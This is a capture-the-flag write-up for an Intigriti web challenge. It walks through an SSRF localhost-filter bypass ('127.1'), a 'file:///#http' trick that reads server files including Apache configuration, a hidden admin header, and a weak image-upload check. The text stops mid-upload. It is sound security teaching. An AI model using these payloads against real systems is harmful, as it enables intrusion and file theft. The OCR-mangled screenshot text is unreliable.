Intigriti October 2025 Challenge: CTF Challenge 1025 by chux

In October ethical hacking platform Intigriti (https://www.intigriti.com/) launched a new Capture the
Flag challenge. The challenge itself was created by community member chux.

Intigriti's October challenge by chux

Find the FLAG and win Intigriti swag! &
Rules:

« This challenge runs from 06/10/2025 6:00 PM until 13/10/2025, 11:59 PM UTC.

« Out of all correct submissions, we will draw six winners on Wednesday 15/10/2025:
o Three randomly drawn correct submissions
o Three best write-ups

« Every winner gets a €50 swag voucher for our swag shop

¢ The winners will be announced on our Twitter profile.

» For every 100 likes, we'll add a tip to announcement tweet.

¢ Join our Discord to discuss the challenge!

Rules of the challenge
. Should leverage a remote code execution vulnerability on the challenge page.
. Should require no user interaction.
. Shouldn't be self-XSS or related to MiTM attacks.
. Should include:
The flag in the format INTIGRITI{.*}
The payload(s) used

Steps to solve (short description / bullet points)

Challenge

To simplify we need to find one or more vulnerabilities in the web application to discover a hidden flag
on the web server. The flag should be captured via a remote code execution vulnerability.



The path to finding and chaining vulnerabilities to capture the flag

Step 1: Recon

It is always important to carefully check the target you are trying to attack and look around for
possible weak spots. Use the web application and check the client side source code. The better you
know how an application works the more chance you will have to find vulnerabilities.

The challenge starts at this web page: https://challenge-1025.intigriti.io/ but shows payloads can be
tested here: https://challenge-1025.intigriti.io/challenge.php
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Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and
sustainable. Our platform connects thousands of fashion lovers with

unique second-hand pieces, giving clothes a new life while reducing waste.
Home About

© 2025 Shoppix - Sustainable Fashion for

Contact This importer allows our team to quickly fetch product images from

partner stores around the globe. Just enter a product image URL below Everyone @

and preview the results instantly.

Enter image URL

Fetch Resource

The first thing to notice is that the challenge page is written in PHP as you can see in the URL bar
ending with “challenge.php”. This means we will not be able to see all the source code like with
JavaScript applications as PHP is code that runs on the web server side. This means that code review via
the browser developer tools will not show everything we want to know.


https://challenge-1025.intigriti.io/
https://challenge-1025.intigriti.io/challenge.php

Opening the developer tools and going to the “Sources” tab to inspect the “challenge.php” page will
show only a part of the source code. We can see the CSS styling and HTML code for the input field. The
actual logic that makes the web applications work is not visible to us so we will need to make a bit more
of a black-box approach to this target.
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Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and
sustainable. Our platform connects thousands of fashion lovers with

unique second-hand pieces, giving clothes a new life while reducing waste.
Home About

Contact This importer allows our team to quickly fetch product images from © 2025 Shoppix - Sustainable Fashion for

partner stores around the globe. Just enter a product image URL below Everyone @

and preview the results instantly.

Enter image URL

Fetch Resource
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body {
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Clicking around on this first page you will immediately notice the “Home”, “Contact” and “About”
buttons are not implemented yet and thus not working. The only interesting functionality seems to be an
input field that should allow us to fetch image files from web URLs we can choose.

A web application allowing to fetch content from other web resources should immediately ring a bell for
possible SSRF (Server Side Request Forgery) attacks. Did the developer of this web application take
into account that we would possibly not only fetch images but there is also a chance such functionality
can be abused to fetch internal resources in the back-end infrastructure?



We can pretty fast conclude from our recon that the application runs server side due to PHP being used
and there is a possible SSRF risk. The SSRF is our only lead we have at the moment to proceed.

Step 2: Checking for SSRF vulnerabilities

First I always try to use the application in the intended way to see if it works as expected. So in this case
we can fetch an image hosted on another website.

I randomly take an URL of an image hosted on the intigriti main website and ask our application to
fetch it.

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and
sustainable. Our platform connects thousands of fashion lovers with

unique second-hand pieces, giving clothes a new life while reducing waste.
Home  About

Contact This importer allows our team to quickly fetch product images from ustainable Fashion for

partner stores around the globe. Just enter a product image URL below Everyone @

and preview the results instantly.

https://www.datocms-assets.com/85623/1759346023-intig

Fetch Resource

This works but only returns the image source code and reveals the “?url=" parameter.
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The full URL to fetch images is as following: https://challenge-1025.intigriti.io/challenge.php?url=

Fetching images is nice but harmless. The question is can we fetch internal resources? A logical next
step is to fetch http://127.0.0.1 or http://localhost which refers to the address of the web server itself.

https://challenge-1025.intigriti.io/challenge.php?url=http%3A%2F%2F127.0.0.1

127.0.0.1 is blocked. The developer was aware for SSRF attacks via 127.0.0.1.

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and sustainable. Our
platform connects thousands of fashion lovers with unique second-hand pieces,
giving clothes a new life while reducing waste.

This importer allows our team to quickly fetch product images from partner stores

Home About Contact ) X
around the globe. Just enter a product image URL below and preview the results

instantly.

Enter image URL

Fetch Resource

https://challenge-1025.intigriti.io/challenge.php?url=http%3A%2F%2Flocalhost

Localhost ends in the same way and is blocked.

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and sustainable. Our
platform connects thousands of fashion lovers with unique second-hand pieces,

giving clothes a new life while reducing waste.

This importer allows our team to quickly fetch product images from partner stores

Home About Contact ) X
around the globe. Just enter a product image URL below and preview the results

instantly.

Enter image URL

Fetch Resource



https://challenge-1025.intigriti.io/challenge.php?url=http%3A%2F%2Flocalhost
https://challenge-1025.intigriti.io/challenge.php?url=http%3A%2F%2F127.0.0.1
http://localhost/
http://127.0.0.1/
https://challenge-1025.intigriti.io/challenge.php?url

You could think that you are out of options at this moment but that is not true. There a many more ways
to refer to 127.0.0.1. For example if you ask this to chatGPT you will get a lot of possible options.

You will quickly notice the amount of options is pretty large. Did the developer take into account all of
them?

Can you give me all notations for 127.0.0.1?

Absolutely — 127.e.e.1 is a special IPv4 address known as localhost, referring to the local machine.
There are many equivalent ways to represent it due to variations in IPv4 notation, DNS aliases, and

encoding tricks.

Here's a comprehensive list of different notations for 127.e.e.1:

% 1. Standard dotted-decimal form

e 127.8.8.1 < the common form

(] 2. Omitted or compressed forms

IPv4 allows certain shorthand notations:
s 127.1 —thesameas 127.e.8.1
s 2138706433 — single integer (decimal form)
e computed as 127x256° + Bx256% + @x256 + 1 = 2130706433
» ex7Feeeesl — hexadecimal (prefix ex )
» e177eeeeeeel — octal representation (leading zero)
» 127.000.000.801 — leading zeros allowed in old notation (but discouraged)
» 127.ee.e1 — mixed short dotted notation

* ex7f.1, 127.1, 127.exe.1, etc. = mixed hex/decimal components (still valid in some parsers)

{7 3. DNS and hostname equivalents

These resolve to 127.e.e.1 in nearly all environments:
® localhost
e localhost.localdomain
* loopback

* ip6-localhost (though this technically mapsto ::1 for IPv6)

@) 4. 1Pv6 equivalent ¢



Lets try “http://127.1”

https://challenge-1025.intigriti.io/challenge.php?url=http%3A%2F%2F127.1
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platform connects thousands of fashion lovers with unique second-hand pieces,
giving clothes a new life while reducing waste.

This importer allows our team to quickly fetch product images from partner stores
around the globe. Just enter a product image URL below and preview the results
instantly.

Enter image URL

Fetch Resource

Fetched content:

Home  About

Contact © 2025 Shoppix - Sustainable Fashion

for Everyone @

And we bypassed the first implemented security measure against SSRF. We now see the source code of
the “challenge.php” page.

We discovered potentially a promising SSRF but at the moment we are only able to read the page source
code on the client side which we already know. We need to further leverage our SSRF.

When testing for SSRF always remember that “http” or “https” are not the only network protocols.
There are many more that can be used to reach various resources in a certain way.

A small list but many more exist: ftp, Idap, netdoc, dict, jar, file, gopher... To be honest there are a lot of
possible possibilities that can be tested.

Most protocols are bound to a certain technology and maybe not that interesting for all targets. One
protocol to check for is the file:// one. This protocol can be used to read local files but also list local
directory structures.



../../../../../
https://challenge-1025.intigriti.io/challenge.php?url=http%3A%2F%2F127.1

Below an example of the “file://” protocol in action. I have a folder “test” on my C: drive => “C:\test”
We can use a browser with the “file://” protocol to list the directory content and read the file content.

file:///C:/test/
file:///C:/test/testdoc.txt

<« G  Q@File Ctest/ * = & 9 03 @

Index of C:\test\

% [parent directory]

Name Size Date Modified

testl 10/8/25, 9:03:13 PM

test2, 10/8/25, 9:03:17 PM
| testdoc.txt 17B 10/8/25, 9:03:33 PM

< G OFile Citest/testdoc.txt * = & 9 O @

testing 123456789

With this knowledge we can go back to our SSRF opportunity to try a directory listing of the root “/”
directory on the web server hosting our challenge page.

To list the root / directory we use: file:///

https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%?2F

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and sustainable. Our
platform connects thousands of fashion lovers with unique second-hand pieces,
giving clothes a new life while reducing waste.

This importer allows our team to quickly fetch product images from partner stores
around the globe. Just enter a product image URL below and preview the results

Home About Contact

instantly.

Enter image URL

Fetch Resource



../../../../../
../../../../test
../../../../../

We bump into the next security measure. The developer expected malicious attempts that are not using
the “http” or “https” protocol and implemented a security measure.

There is only one issue with the implemented security measure and that is pretty much revealed in the

error message.
“Invalid URL: must include 'http'”

The protocol scheme is “http://” or “https://” and a good security check should also check that an URL
starts with this scheme and that the word “http” is not just located somewhere else in the URL.

URLs have different parts:

query string/
parameter

T

%blog!aﬂiclelsearct‘J %ocid:?%&hl:e%%dayone]

subdomain top level domain path

‘https:f]

l

scheme : port query string fragment
domain number separator

443

www][example} co.uk

This example is even missing the possibility to add an username and password into a URL but that does
not matter for this challenge.

We can potentially try an SSRF as following: file:///#http

This is a valid URL with a fragment part. If the developer made a mistake in checking the protocol to be
at the start of the URL and without the “://” part this is a possible bypass.

https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2F%23http


https://challenge-1025.intigriti.io/challenge.php?url=file%3A%2F%2F%2F%23http
../../../../../#http

<« (<} (Il hallenge-1025.intigriti.io/challenge.php?url=file:///%23http = H % D @

®  Ask Google about this page - challenge-1025.intigriti.io

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and sustainable.
Our platform connects thousands of fashion lovers with unique second-
hand pieces, giving clothes a new life while reducing waste.

This importer allows our team to quickly fetch product images from partner
stores around the globe. Just enter a product image URL below and preview
the results instantly.

Fetch Resource

Home About

Contact © 2025 Shoppix - Sustainable Fashion for
Fetched content: Everyone @

The root / directory is listed. We are digging deeper with our SSRF and bypassed some of the
implemented security checks.



Step 3: The unintended solution

As you probably noticed on the previous screenshot we actually already have the flag now. There is a
file: 93e892fe-cOaf-44a1-9308-5a58548abd98.txt in the web server root / directory.

We can even read the content of that file with our file:// trick.

https://challenge-1025.intigriti.io/challenge.php?url=file:///93e892fe-c0af-44a1-9308-
5a58548abd98.txt%23http

This is the unintended solution to get the flag.
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& Google

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and sustainable.
Our platform connects thousands of fashion lovers with unique second-
hand pieces, giving clothes a new life while reducing waste.

This importer allows our team to quickly fetch product images from partner

stores around the globe. Just enter a product image URL below and preview
e e the results instantl
Contact @ results Instantly. © 2025 Shoppix - Sustainable Fashion for

Everyone ®

Fetch Resource

Fetched content:



https://challenge-1025.intigriti.io/challenge.php?url=file:///93e892fe-c0af-44a1-9308-5a58548abd98.txt%23http
https://challenge-1025.intigriti.io/challenge.php?url=file:///93e892fe-c0af-44a1-9308-5a58548abd98.txt%23http
../../../../../

This solution is enough to get the flag but is against the challenge rules. As they stated:
Should leverage a remote code execution vulnerability on the challenge page.

We used a local file inclusion trick to read the file but we are not able to remotely run arbitrary code on
the web server at the moment.

Step 4: Scanning the web server file system

Our file:/// trick is not completely a waste of time. We can use it to list all directories on the web-
server and read any file. This means we found a new gold mine of information as we now can have
access to the PHP source code and configuration files. A huge advantage changing our black box
approach with guessing how the server side looks like to a white box one where we can read how
everything was developed.

If you are not familiar with the Linux file system you will now face the step to probably check and
read every directory. Too shorten this write-up I will not do this.

An interesting directory to check for potential web page source code is /var/www/html

<« ¢} 25 challenge-1025.intigriti.io/challenge.php?url=file:///var/www/htmI%23http g - fn L~ °

G Google

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and

sustainable. Our platform connects thousands of fashion lovers

with unique second-hand pieces, giving clothes a new life while
reducing waste.

This importer allows our team to quickly fetch product images
from partner stores around the globe. Just enter a product
image URL below and preview the results instantly.
Home  About
Contact © 2025 Shoppix - Sustainable Fashion for

Enter image URL Everyone ®

Fetch Resource

Fetched content:



../../../../../

This directory shows following

- uploads
- partials
- footer.php
- header.php
- upload_shoppix_images.php
- index.php
- challenge.php
- public
- contains CSS and website images

I first approached the “upload_shoppix_images.php” page as this was unknown until now. In theory
you could have used the SSRF vulnerability to brute-force and scan for unknown PHP pages but
chances of your word list having “upload_shoppix_images.php” are rather low.

Lets grab the content of “upload_shoppix_images.php”

https://challenge-1025.intigriti.io/challenge.php?url=file:///var/www/html/
upload shoppix images.php%23http
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G Google

giving clothes a new life while reducing waste.

This importer allows our team to quickly fetch product images from partner stores
around the globe. Just enter a product image URL below and preview the results
instantly.

Enter image URL
Fetch Resource

Fetched content:

Home

About } ‘ © 2025 Shoppix -
h 9fa; margin-bc m: 20px; =
Contact : et ; Sustainable Fashion for

Everyone @



https://challenge-1025.intigriti.io/challenge.php?url=file:///var/www/html/upload_shoppix_images.php%23http
https://challenge-1025.intigriti.io/challenge.php?url=file:///var/www/html/upload_shoppix_images.php%23http

The CSS styling we can ignore. The focus should be on the PHP code which normally is not visible
to us.

<body>
<?php include "partials/header.php"; 2>
<div class="card">
<hi>Upload Your Design</hi>
<form method="post" enctype="multipart/form-data">
<input type="file" name="image" />

<br>
<button type="submit'">Upload</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

$file = $ FILES['image'];
$filename = $file[ 'name'];
$tmp = $file[ 'tmp_name'];
$mime = mime_content_type($tmp);

if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
) {
move_uploaded_file($tmp, "uploads/" . basename($filename)),

echo "<p style='color:#00e676'>[4 File uploaded successfully to
/uploads/ directory!</p>";
} else {
echo "<p style='color:#ff5252'>X Invalid file format</p>";
}

}

?>

</div>

<?php include "partials/footer.php"; 7>
</body>

Reading the PHP code we can see the upload page expects a POST request if
($_SERVER['REQUEST_METHOD'] === 'POST") that can be used to upload an image.



There is a check on the fact that the uploaded file is a real image. But the check looks weak. It checks
the MIME type strpos($mime, "image/") and if extensions .png, .jpg, .jpeg are present but this can be
bypassed if you do a quick check via chatGPT for example:

is this check weak or good in my PHP code for image upload:  if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") == false ||
stripos($filename, "jpg") |== false ||
stripos($filename, ".jpeg”) |== false)

M

That check is weak — it helps filter obvious non-image uploads, but it's not secure or reliable on its own.

Let's break down why and how to improve it.

@, What your current check does

php (P Copy code
if (
strpos($mime, "image/") === @ &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
)
Pros:

o [ Checks that the MIME type starts with "image/" .

» [ Ensures the file name has an image extension.

Cons / Security issues:

1. X Filename spoofing:
A file like malware.jpg.php or evil.jpg.txt would still pass because it “contains” .jpg in its name.

2. Y MIME spoofing:
The browser or client can lie about the MIME type in the upload request — so $_FILES["file"]

["type"] is not trustworthy.

3. 2{ No content validation:
You're not actually checking the file's contents to see if it's a real image. Someone could upload arbitrary

data with a fake .jpg extension and MIME type.

The uploaded image is then moved to the “uploads” directory: move_uploaded_file($tmp, "uploads/" .
basename($filename));



If we can access the upload page and easily bypass the image upload checks we can upload any file type
we want. Remote code execution is not far away then.

Lets try this by accessing the page at: https://challenge-1025.intigriti.io/upload shoppix images.php
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G Google

Forbidden

You don't have permission to access this resource.

Apache/2.4.65 (Debian) Server at challenge-1025.intigriti.io Port 8080

Bad luck we are not allowed to access the page. My first thought here was that it could potentially be the
fact we are opening the page in a browser by sending a GET request and not a POST it could expect.

I used my BURP intercept to change the request method and adapt the request with a file upload body.
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Insert Collaborator payload
Show response in browser
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Message editor documentation

Burp Repeater documentation



https://challenge-1025.intigriti.io/upload_shoppix_images.php

Dashboard Target Proxy Intruder Repeater Collaborator
1 x +

_sena | < ExZY

Request

Pretty Raw Hex I n =

1 POST /upload_shoppix_images.php HTTP/2
Host: challenge-1025.intigriti.io
Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8",
“Chromium";v="141"

4 Sec-Ch-Ua-Mobile: 20
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&d)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0
Safari/s37.36
Accept

text/html,application/xhtmltxml,application/xml;q=0.9,inage/avif,ina
ge/webp, image/apng, */*;q=0.8, application/signed-exchange ;v=b3;q=0.7

Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1

12 Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: multipart/form-data;
boundary=----WebKit FormBoundary7MA4YWxk TrZu0g¥
Content-Length: 351

I WebKitFormBoundary7MA4YWxk TrZu0gW

Content-Disposition: form-data; name="image"; filename="profile. jpg"

Content-Type: image/jpes

testimage
] i WebKitFormBoundary7MA4YWxk TrZuOg¥
S Content-Disposition: form-data; name="name"

testname
—————— WebKitFormBoundary7MA4YWxk TrZulg¥
5 Content-Disposition: form-data; name="tmp_name"

tmp_name
------ VebKitFormBoundary7MA4YWxk TrZulgW--
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Pretty Raw Hex Render

L HTTP/Z 403 Forbidden
Date: Tue, 07 Oct 2025 18:23:45 GMT

Content-Type: text/html; charset=iso-8859-1
Content-Length: 294
5 Strict-Transport-Security: max-age=31536000; includeSubDomains

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>
403 Forbidden
</title>
</head>
<body>
<hl>
Forbidden
</hl1>

You don't have permission to access this resource
</p>
<hr>
<address>
Apache/2.4.65 (Debian) Server at challenge-1025.intigriti.io
Port 8080
</address>
</body>
</html>
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This didn’t work. There must be another kind of security measure blocking us from reaching the

“upload_shoppix_images.php” page

My next thought was to look at the “challenge.php” source code to see if the SSRF vulnerability we
discovered there could maybe send a POST request instead of a GET request. This would trick the
“upload_shoppix_images.php” page into thinking the request comes from a potentially trusted location.

Challenge.php has following PHP code:

<?php
if (isset($_GET['url'])) {
$url = $_GET['url'];

if (stripos($url,

'http') === false) {

die("<p style='color:#ff5252"'>Invalid URL: must include 'http'</p>");

if (stripos($url,
false) {

'127.0.0.1")

==

false || stripos($url,

"localhost') !==

die("<p style='color:#ff5252"'>Invalid URL: access to localhost is not

allowed</p>");
}

$ch = curl_init($url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER,
curl_exec($ch);

$response =

if ($response === false) {
echo "<p style='color:#ff5252'>cURL Error: "

} else {

true);

echo '"<h3>Fetched content:</h3>";

echo "<pre>"

htmlspecialchars($response)

curl_error($ch) .

II</pre> ",.

n m.
</p>";



}

curl_close($ch);

}

?2>

</div>
<?php include "partials/footer.php"; 27>

The first part are the checks for 127.0.0.1 and localhost which we bypassed at the start to discover our
SSRF. The SSREF itself resides in this part of the code:

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true),
$response = curl_exec($ch);

As I am not that familiar with PHP I ask chatGPT again what this code should look like to generate a
POST request instead of a GET request.

what should this PHP code look like to generate a POST request: $ch =
curl_init($url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

Good question — right now, your code sends a GET request, because you didn't specify any POST options.
To make it send a POST request, you need to add CURLOPT_POST and CURLOPT_POSTFIELDS .

Here's the correct version

2 Example: Simple POST request with data

php & Copy code
$url = ‘https://example.com/api/endpoint’;
$data = [

'username' => 'alice’,

‘password' => 'secretl23

IH
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Error: ' . curl_error($ch);

curl_close($ch);

echo $response;



You can see that to make a POST request the PHP code should change quite a bit:

$ch = curl_init($url);

// Set cURL options

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_POST, true),; // Make it a POST request
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)), // Encode data
$response = curl_exec($ch);

This made me conclude that from the attacking side it would not be possible to manipulate the web
server in any way to change this part of the PHP source code.

We need to dig deeper into the file system to find a possible bypass to reach that
“upload_shoppix_images.php” page.

Another way to implement security measures on a web server is by using configuration files that come
with the web-server technology (nginx, apache2...). An installed web server will normally reside in the

“/etc” folder on Linux. We can use the file:/// trick to read the content of this folder.

https://challenge-1025.intigriti.io/challenge.php?url=file:///%?23http

You will notice the /etc folder is present. We can read its content.

https://challenge-1025.intigriti.io/challenge.php?url=file:///etc%?23http

/etc reveals there is an /apache2 folder which is the web server technology hosting this PHP web
application.

https://challenge-1025.intigriti.io/challenge.php?url=file:///etc/apache2%?23http
This reveals the apache2 configuration files.

<« G % challenge-1025.intigriti.io/challenge php?uri=file:///etc/apache2%23http $:e - Hp%® D O :

Your gateway to sustainable fashion

Home About
Contact

Fetched content:



../../../../../
https://challenge-1025.intigriti.io/challenge.php?url=file:///etc/apache2%23http
https://challenge-1025.intigriti.io/challenge.php?url=file:///etc%23http
https://challenge-1025.intigriti.io/challenge.php?url=file:///%23http

For this challenge the file to check is located in the “sites-enabled” folder of apache2 that contains the
configuration file “000-default.conf ”. Here the web-server administrator can configure which virtual
sites are reachable in what way. It can be used to define certain ports, headers...

https://challenge-1025.intigriti.io/challenge.php?url=file:///etc/apache2/sites-enabled/000-

default.conf%23http

< Cc 25 challenge-1025.intigriti.io/challenge.php?url=file:///etc/apache2/sites-enabled/000-default.conf%23http hxd () fn Q 9 o

& Google

Your gateway to sustainable fashion

At Shoppix, we believe fashion should be stylish, affordable, and

sustainable. Our platform connects thousands of fashion lovers

with unique second-hand pieces, giving clothes a new life while
reducing waste.

This importer allows our team to quickly fetch product images
from partner stores around the globe. Just enter a product
image URL below and preview the results instantly.

Enter image URL

Fetch Resource

Home About
Contact Fetched content: © 2025 Shoppix - Sustainable Fashion for

Everyone @

i/html/up

tml/public>

min} I=



https://challenge-1025.intigriti.io/challenge.php?url=file:///etc/apache2/sites-enabled/000-default.conf%23http
https://challenge-1025.intigriti.io/challenge.php?url=file:///etc/apache2/sites-enabled/000-default.conf%23http

The above screenshot of the apache2 “000-default.conf ” file reveals that the

“upload_shoppix_images.php” page is reachable but only with a specific header.

Our POST web request needs to contain the header “is-shoppix-admin: true”

We can try this in BURP suite for example by manually adding the header to requests. You could
automate this with the match and replace rules in BURP but as an example I will add the header

manually.

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn
1 x +

[ _sena ] <MG i Burp A

Request Response

Pretty  Raw  Hex ® W = | pretty Raw  Hex  Render n

L POST /upload_shoppix_images.php HITP/Z
2 Host: challenge-1025_intigriti.ic
Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8",
“Chromium";v="141"
i Sec-Ch-Ua-Mobile: 70
5 Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4, x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xnl;q=0.9,image/avif,ina
ge/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.7
5 Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
! Sec-Fetch-User: ?
Sec-Fetch-Dest: document
1 Accept-Encoding: gzip, deflate, br
i Accept-Language: en-US,en;q=0.9
5 Priority: u=0, i
€ Content-Type: multipart/form-data;
boundary=----WebKit FormBoundary7MA4YWxk Tr Zulg¥
Is-Shoppix-Admin: true|
Content-Length: 391

------ WebKitFormBoundary7MA4YWxk TrZu0gl
! Content-Disposition: form-data; name="image"; filename="profile.jpg"
Content-Type: image/jpeg

4 testimage
§ | ==mmmn WebKitFormBoundary7MA4YWxk TrZu0gl
€ Content-Disposition: form-data; name="name"

28 testname
9| ==mmm- WebKitFormBoundary7MA4 YWk TrZudg
Content-Disposition: form-data; name="tmp_name"

tmp_name
—————— WebKitFormBoundary7MA4YWxk TrZu0g--

1 HTTP/Z 200 OK
2 Date: Tue, 07 Oct 202§ 19:09:23 GNT
Content-Type: text/html; charset=UTF-8
4 Content-Length: 2356
S Vary: is-shoppix-admin,Accept-Encoding
€ X-Powered-By: PHP/B.1.33
Strict-Transport-Security: max-age=31536000; includeSubDomains

5 <IDOCTYPE html>
<html lang="en">
11 <head>
<meta charsec="UTF-8">
1 <title>
Shoppix Upload
</title>
14 <link href="

https://fonts.googleapis.com/css2? family=Montserrat:wght@400;6

0D&display=swap" rel="stylesheet">
<style>
body(
background: #0d0d0d;
color:#£1£1£1;
font-family: 'Montserrat', sans-serif;
margin:0;
21 display: flex;
align-items:center;
justify-content:center;
height:100vh;
}
-card(
background: glelele;
padding: 40px;
border-radius: 12px;
box-shadow: 04px15pxrgba(0,0,0,0.4);
text-align:center;
width: 450px;
}
4 h1(
color:#03a9f4;
margin-bottom: 20px;
}
input [type=file] {
margin: 15px0;
color:#ddd;
}

button(
padding: 12px25px;
41 border:none;
border-radius: épx;
4 background: g03a9£4;
color:white;
45 font-weight:E£00;
4€ cursor:pointer;

transition:backgroundd. 2sease;

button:hover (
background: #0288dl;
}
Pl
margin-top: 15px;
}
51 </style>
</head>
<body>
<div class="navbar">
<div class="loge">
O0Shoppix
</div>
<div class="nav-links">
<a href="index.php">

GAP ® L
P A

Target: hitps://challenge-1025.intigritiio /®  HTP2 (3)

Inspector =D - X g
Request attributes 2 v g
2
-3
Request query parameters 0 v s
Request body parameters B v
Request cookies [
- z
2
z
Request headers 200 v |@
Response headers 6 v Q
m
4
=
5
H
2
=3
z
(o]
2
2
=
3
»
3
=
E
Z

Sending the request results in a 200 OK response instead of the forbidden page.

This was the last piece we needed to complete our puzzle to reach the image upload page.




Step 5: Exploiting the upload page

We reached the hidden image upload web page. BURP suite has a trick to show the upload page
also in your browser with the correct header.

Take a GET request to the “upload_shoppix_images.php” page and add the header we found earlier.
Then right click and choose “Request in browser” — “In current browser session”

©~w
o~

€ 5 = challenge 1025intiriiofupload shoppix images php7image=estimagegirame=testnameitmp_rame-imp name % W € © O | @ i | , 5
0 edle sensJIC) [ ouon | L —— X C)
@@= = pector -] x

N ©  Jopsdsu g

©

suoneueydry

You can now use your browser to upload an image file. Choose any image file and just before clicking
the “Upload” button make sure to set your BURP to intercept the request. This will give us the correct
POST request body the web application expects. Send this request to the BURP repeater.
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Once you send the request you will see the image is send to the “uploads” directory on the web server.

m | cancel

L Inspector LY = | =i
Request Response
Pretty  Raw  Hex N = pretty Raw  Hex  Render Request attributes 2 v
1 POST /upload_shoppix_images.php?imag i DO0Shoppix
tup_name=tup_name HTTP/2 ssatw Request query parameters D v
2 Host: challenge-1025.intigriti.io 56 <div class="nav-links">
3 Content-Length: 8093 57 <a href="index.php">
4 Cache-Control: max-age=0 Home Request body parameters 1 v
s Google Chrome";v="141", "Not?A_Brand";v="8", </a>
ju=vl4le <a hret="g"> )
€ Sec-Ch-Ua-Mobile: 20 About Request cookies » v
7 See-Ch-Ua-Platform: "Windows" </a>
5 Origin: https://challenge-1025.intigriti.io <a hre Pt Hanters B
5 Content-Type: multipart/form-data;
7jcMKAe ILbLNL3 </a>
Upgrade-Insecure-Requests: 1 </div> Response headers B v
11 User-Agent: Mozilla/5.0 (Vindows NT 10.0; Wingd; xé4) </div>
AppleWebKit/§37.36 (KHTML, like Gecko) Chrome/141.0.0.0
Safari/s37.36 <style>
12 Accept: _navbar

text/html,application/xhtml+xml,application/xml;q=0.9,inage/avif,in
age/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.
7

display: flex;
justify-content:space-between;
align-items:center;

padding: 15px30px;

background: #141414;
border-bottom: lpxsolid#333;

Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71
Sec-Fetch-Dest: document

17 Referer:

}

-navbar. logo(

1 2 3 13 fsEX%) + J 3PN

Target: https://challenge-102S.intigritiio /°  HTTP2 (2)

Jopadsul  gp

SAON (i)

suoneueidxy O

https://challenge-1025. intigriti.io/upload_shoppix_images.php?image
=testi 3 =tmp_name
Accept-Encoding: gzip, deflate, br

font-size:20px;
font-weight:bold;
color:$££4081;

Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Is-Shoppix-Admin:

Y

-navbar.nav-linksa(
margin-left:20px;
text-decoration:none;
color: $£1£1£1;
font-weight:500;
transition:color0.sease;

true

--WebKitFormBoundarySD73cMKAe ILbLNb3
Content-Disposition: form-data; name="image"; filename="
Untitled.jpg"

Content-Type: image/jpeg

}
.navbar.nav-linksa:hover (

27 yOYaIFIFYOD  ( $111%)+...383-7(-.+ color: #££4081;
}
</style>
<div class="card">
VA - "yAyA<!1AQa"q <hl>
2+ ABNA#APbOr¢ *3C05YAYA) | 1A" QBa; 2q00#yU? ¢EOMIT\ |\ A~EODRA0 *DXUNE. mh Upload Your Design
;¢ G¥c000SLO0TT+W0c 509 (060 </hl>

BG0}5Y100: Ti4z+|Ohpwi-LKsO ! &4 (80£00¢ ; GrF40mD (40- Inf430
®EpEK) 6PGSA¢PTS /% /"00¢U¥ES022IRy07b  )00pP [ O0ZeAj3jT
47 th+6m] *0)\ RiM@eAULOD;
O4q¥23x-1ZS0BA*0@*0cé0U] «0E*YAGCDOHe  £1)H3° 4" “K\OpuOOOO%) TODoFLU O <br>
3@e-BONE " T. -34 [OA36° /ue, q0”6524+2010:0qVGUBF40n0*B~ 400 *0ic2a0: evy 0 <button type="submit">
0)1!UWD+EbOGHDAD 8;A¢mén6 ! Z1OVHYVOa-1¢0acOU¥ U »UDeATREOEVS | (~A" ¢ ¥F Upload
